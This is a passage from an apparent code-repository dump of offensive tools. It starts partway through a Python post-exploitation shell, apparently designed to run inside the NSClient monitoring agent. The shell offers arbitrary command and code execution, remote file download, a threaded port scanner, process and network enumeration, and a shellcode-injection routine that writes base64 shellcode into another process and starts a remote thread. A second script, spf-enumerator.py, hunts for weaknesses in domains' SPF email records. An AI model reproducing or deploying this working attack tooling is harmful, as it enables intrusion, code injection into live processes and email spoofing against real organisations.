197 | return base64.b64encode( f.read() )
198 |
199 | def do_cp( parts ):
200 | if len( parts ) < 3:
201 | print('cp ')
202 | return
203 | source = resolve_path( ['',parts[1]] )
204 | dest = resolve_path( ['',parts[2]] )
205 | shutil.copy(source,dest)
206 |
207 | def do_mv( parts ):
208 | if len( parts ) < 3:
209 | print('mv ')
210 | return
211 | source = resolve_path( ['',parts[1]] )
212 | dest = resolve_path( ['',parts[2]] )
213 | shutil.move(source,dest)
214 |
215 | def do_rm( parts ):
216 | f = resolve_path( parts )
217 | os.remove(f)
218 |
219 | def do_exec( parts ):
220 | f = resolve_path( parts )
221 | return subprocess.check_output(parts[1:])
222 |
223 | def do_grep( parts ):
224 | if len( parts ) == 1: return ''
225 | pattern = parts[1]
226 | if len( parts ) == 2:
227 | d = '.'
228 | else:
229 | d = resolve_path(parts[1:])
230 | if os.path.isfile( d ):
231 | return grep( d, pattern )
232 | rtn = ''
233 | for root, dirs, files in os.walk(d):
234 | for name in files:
235 | fn = os.path.join( root, name )
236 | rtn += grep(fn,pattern)
237 | return rtn
238 |
239 | def grep( file, pattern ):
240 | try:
241 | with open( file, 'r' ) as f:
242 | buf = f.read()
243 | m = re.findall( pattern, buf, re.I )
244 | if len( m ) == 0: return ''
245 | rtn = '\n' + '\n'.join([ file + ': ' + x for x in m])
246 | return rtn
247 | except Exception as e:
248 | return ''
249 |
250 | def do_python( parts ):
251 | parts[0] = sys.executable
252 | print( parts )
253 | print( os.environ['PYTHONHOME'] )
254 | try:
255 | return subprocess.run( parts, capture_output=True )
256 | except Exception as e:
257 | return str(e)
258 |
259 | def do_eval( parts ):
260 | code = ' '.join(parts[1:])
261 | try:
262 | exec(code)
263 | except Exception as e:
264 | print(e)
265 | return ''
266 |
267 | def do_install( parts ):
268 | package = parts[1]
269 | pip.main(['install','--cache-dir',cachedir,'--prefix',pythondir,'--upgrade',package])
270 | return ''
271 |
272 | def do_find( parts ):
273 | if len( parts ) == 1: return ''
274 | pattern = parts[1]
275 | if len( parts ) == 2:
276 | d = '.'
277 | else:
278 | d = resolve_path(parts[1:])
279 | rtn = ''
280 | for root, dirs, files in os.walk(d):
281 | for name in fnmatch.filter( files, pattern ):
282 | fn = os.path.join( root, name )
283 | rtn += '\n' + fn
284 | return rtn
285 |
286 | def do_wget( parts ):
287 | if len( parts ) == 1: return ''
288 | url = '%20'.join(parts[1:])
289 | outfile = os.path.basename(url).strip()
290 | if outfile == '': outfile = 'download'
291 | outfile = os.path.join(downloadsdir,outfile)
292 | r = urllib.request.urlopen(url)
293 | with open( outfile, 'wb' ) as f: f.write(r.read())
294 | return outfile
295 |
296 | def do_nmap( parts ):
297 | if len( parts ) == 1:
298 | return 'Usage: nmap -p 21-80,443 192.168.1.0/24,192.168.0.30'
299 | args = {'target':parts[-1]}
300 | for a in getopt.getopt( parts[1:], 'p:t:' )[0]:
301 | args[a[0][1]] = a[1]
302 |
303 | # Expand port ranges
304 | if 'p' in args: ports = mixrange(args['p'])
305 |
306 | # Default ports
307 | else: ports = '80,443,445,21,22,23,389,636,25,110,53,3389,3306,8080,587,8888,81,8443,8000,1433,139,143,135,1723,111,995,993,5900,1025,199,1720,465,548,113,6001,10000,514,5060,179,1026,2000,32768,554,26,49152,2001,515,8008'.split(',')
308 |
309 | # Threads
310 | if 't' in args: max_threads = int(args['t'])
311 | else: max_threads = 20
312 |
313 | # Parse target
314 | ips = []
315 | for t in args['target'].split(','):
316 |
317 | # hostname
318 | if re.search('[a-z]',t):
319 | ips.append(socket.gethostbyname(t))
320 | continue
321 |
322 | # CIDR
323 | if re.search('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{1,2}',t):
324 | net=ipaddress.ip_network(t)
325 | for ip in net: ips.append(str(ip))
326 | continue
327 |
328 | # Range in last octet
329 | m = re.search('(\d{1,3}\.\d{1,3}\.\d{1,3}\.)(\d{1,3})\s*-\s*(\d+)',t)
330 | if m:
331 | for i in range(int(m.group(2)),int(m.group(3))+1):
332 | ips.append(m.group(1)+str(i))
333 | continue
334 |
335 | # Single IP
336 | if re.search('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',t):
337 | ips.append(t)
338 | continue
339 |
340 | # Create target services, IP wide first
341 | try:
342 | targets = queue.Queue()
343 | for ip in ips:
344 | for port in ports:
345 | targets.put((ip,port))
346 |
347 | open_ports = []
348 |
349 | def scanner():
350 | while True:
351 | target = targets.get()
352 | scan_port( target[0], target[1] )
353 | targets.task_done()
354 | except:
355 | print('Multithreading failed, attempting single threaded scan...')
356 | for ip in ips:
357 | for port in ports:
358 | scan_port(ip,port)
359 |
360 | def scan_port( ip, port ):
361 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
362 | socket.setdefaulttimeout(1)
363 | port = int( port )
364 | result = s.connect_ex((ip,port))
365 | if result == 0:
366 | print('OPEN:',ip+':'+str(port))
367 | open_ports.append((ip,port))
368 | s.close()
369 |
370 | # Multithreading
371 | for i in range(max_threads):
372 | threading.Thread(target=scanner, daemon=True).start()
373 | targets.join()
374 |
375 | return 'Open ports found:\n' + '\n'.join([x[0]+':'+str(x[1]) for x in open_ports])
376 |
377 | def mixrange(s):
378 | r = []
379 | for i in s.split(','):
380 | if '-' not in i:
381 | r.append(int(i))
382 | else:
383 | l,h = map(int, i.split('-'))
384 | print(l,h)
385 | r+= range(l,h+1)
386 | return r
387 |
388 | def do_ps( parts ):
389 | fields = 'pid,ppid,username,cmdline'.split(',')
390 | s = ''
391 | for p in psutil.process_iter(fields):
392 | d = p.as_dict()
393 | s += '\n'
394 | for f in fields:
395 | s += str(d[f]).ljust(10)
396 | return s
397 |
398 | def do_netstat( parts ):
399 | s = ''
400 | for n in psutil.net_connections():
401 | s += '\n' + (n.laddr.ip + ':' + str( n.laddr.port )).ljust(20)
402 | if n.raddr:
403 | s+= (n.raddr.ip + ':' + str( n.raddr.port )).ljust(20)
404 | else: s+= ' '*20
405 | s += n.status.ljust(20) + str(n.pid)
406 | return s
407 |
408 | def do_ifconfig( parts ):
409 | addrs = psutil.net_if_addrs()
410 | s = ''
411 | for iface,inf in addrs.items():
412 | s += '\n' + iface + ':\n'
413 | for i in inf:
414 | s += ' Address: ' + str( i.address ) + '\n'
415 | s += ' Netmask: ' + str( i.netmask ) + '\n'
416 | return s
417 |
418 | def do_inject( parts ):
419 |
420 | # Thank you, Chris https://www.christophertruncer.com/injecting-shellcode-into-a-remote-process-with-python/
421 |
422 | if len( parts ) < 2:
423 | print('shellcode ')
424 | return
425 |
426 | process_id = int( parts[1] )
427 | page_rwx_value = 0x40
428 | process_all = 0x1F0FFF
429 | memcommit = 0x00001000
430 | kernel32_variable = windll.kernel32
431 | shellcode = base64.b64decode(input('Paste in shellcode in base64: '))
432 | shellcode_length = len(shellcode)
433 | process_handle = kernel32_variable.OpenProcess(process_all, False, process_id)
434 | memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
435 | kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0)
436 | kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0)
437 |
438 | # To run inside nsclient
439 |
440 | def init(plugin_id, plugin_alias, script_alias ):
441 | pass
442 |
443 | def shutdown( args ):
444 | pass
445 |
446 | def __main__( args ):
447 | shell()
448 |
449 | print('Falling back to python REPL')
450 | import code
451 | code.InteractiveConsole(locals=globals()).interact()
452 |
453 | if __name__ == '__main__':
454 | __main__([])
455 |
456 |
457 |
--------------------------------------------------------------------------------
/spf-enumerator.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # Recursively examine SPF records for holes
3 | # Requires "dig"
4 |
5 | import argparse, sys, re, time, subprocess, json, netaddr
6 |
7 | def get_dig_answer( domain, querytype ):
8 | rtn = []
9 | for line in subprocess.check_output(['dig',domain,querytype,'+noall','+answer']).decode('utf8').splitlines():
10 | if querytype == 'txt':
11 | m = re.findall('"([^"]+)"', line)
12 | s = ' '.join(m).strip().replace(' ',' ')
13 | else:
14 | m = re.search('([^ ]+)$', line)
15 | if not m: continue
16 | s = m.group(1)
17 | if querytype == 'mx':
18 | s = s.strip()[:-1]
19 | rtn.append(s)
20 | return rtn
21 |
22 | def domain_exists( domain ):
23 | try:
24 | if 'NXDOMAIN' in subprocess.check_output(['host',domain]).decode('utf8'):
25 | return False
26 | return True
27 | except:
28 | print('Error looking up domain', domain)
29 | return False
30 |
31 | def get_allowed_hosts( domain, recurse=True ):
32 | rtn = {domain:[]}
33 | hosts = []
34 | qualifiers = []
35 | modifiers = []
36 | for line in get_dig_answer(domain,'txt'):
37 | if 'v=spf' in line:
38 | # print(domain, line)
39 | for item in line.split(' '):
40 | item = item.lower()
41 |
42 | # Recurse into "include:"
43 | if recurse and item.startswith('include:'):
44 | d = item.split(':')[1]
45 | hosts.append(get_allowed_hosts(d))
46 |
47 | # Recurse into "redirect="
48 | elif recurse and item.startswith('redirect='):
49 | d = item.split('=')[1]
50 | hosts.append(get_allowed_hosts(d))
51 |
52 | # Specified IP
53 | elif item.startswith('ip') or item.startswith('a:'):
54 | hosts.append(item)
55 |
56 | # References to other DNS records
57 | elif item == 'mx':
58 | hosts+= get_dig_answer( domain, 'mx' )
59 |
60 | elif item.split(':')[0] == 'ptr':
61 | t,d = item.split(':')
62 | hosts += get_allowed_hosts( d )
63 |
64 | elif item.startswith('mx:'):
65 | t,d = item.split(':')
66 | hosts+= get_dig_answer( d, 'mx' )
67 |
68 | # EXISTS
69 | elif item.startswith('exists:'):
70 | if not domain_exists( item.split(':')[1] ):
71 | item = '!' + item
72 | hosts.append( item )
73 |
74 | # Qualifiers
75 | elif item[0] in '+-~?':
76 | q = item[0]
77 | if q == '+':
78 | t = 'PASS'
79 | elif q == '?':
80 | t = 'NEUTRAL'
81 | elif q == '~':
82 | t = 'SOFTFAIL'
83 | elif q == '-':
84 | t = 'FAIL'
85 | qualifiers.append(t+': '+item)
86 |
87 | elif '=' in item:
88 | m = re.search('(.+)=(.+)', item)
89 | if m:
90 | modifiers.append( item )
91 |
92 | else:
93 | if recurse: print('WHAT:',item)
94 |
95 | rtn = {domain: {'hosts':hosts,'qualifiers':qualifiers,'modifiers':modifiers}}
96 | return rtn
97 |
98 | def get_ips( allowlist ):
99 | rtn = []
100 | ipset = netaddr.IPSet()
101 | for domain, info in allowlist.items():
102 | for host in info['hosts']:
103 | if type( host ) is dict:
104 | rtn += get_ips( host )
105 | elif host.startswith('ip4:'):
106 | ipset.add(netaddr.IPNetwork(host.split(':')[1]))
107 | for ip in ipset:
108 | rtn.append( str( ip ) )
109 | rtn = sorted( list( set( rtn ) ) )
110 | return list( set( rtn ) )
111 |
112 | def analyse( allowed, parentpath=[], parenthardfail=False ):
113 | for domain,info in allowed.items():
114 | hardfail = False
115 | score = 0
116 | issues = []
117 | for q in info['qualifiers']:
118 | if q.startswith('FAIL'):
119 | hardfail = True
120 | break
121 | if q.startswith('NEUTRAL'):
122 | issues.append('[!] Neutral qualifier')
123 | score = 2
124 |
125 | if not hardfail and not parenthardfail:
126 | score = 1
127 | issues.append('[-] No hard fail')
128 |
129 | for host in info['hosts']:
130 | if type( host ) is dict:
131 | analyse( host, parentpath + [domain], parenthardfail or hardfail )
132 | else:
133 | if host.startswith('!exists'):
134 | score = 3
135 | issues.append('[!] UNREGISTERED DOMAIN')
136 | if score > 0:
137 | print('\nWeak SPF dependency (score '+str(score)+'):',' -> '.join(parentpath + [domain]))
138 | print(' - ' + '\n - '.join(issues))
139 |
140 | def main():
141 | parser = argparse.ArgumentParser(description="Recursively scan SPF records for allowed IPs")
142 | parser.add_argument("--ips", action="store_true", help="Output an expanded list of all IP addresses allowed to send from this domain")
143 | parser.add_argument('-a',"--analyse", action="store_true", help="Find weak spots in the SPF records")
144 | parser.add_argument('-n',"--norecurse", action="store_true", help="Don't recurse through include: and redirect=")
145 | parser.add_argument("domain", help="email domain to scan from")
146 | args = parser.parse_args()
147 |
148 | allowed = get_allowed_hosts(args.domain, recurse=(not args.norecurse))
149 |
150 | # Output list of allowed IPs
151 | if args.ips:
152 | ips = get_ips( allowed )
153 | print( '\n'.join(ips) )
154 | sys.exit(0)
155 |
156 | if args.analyse:
157 | analyse( allowed )
158 | sys.exit(0)
159 |
160 | print(json.dumps(allowed,indent=2))
161 |
162 | if __name__ == '__main__':
163 | main()
164 |
--------------------------------------------------------------------------------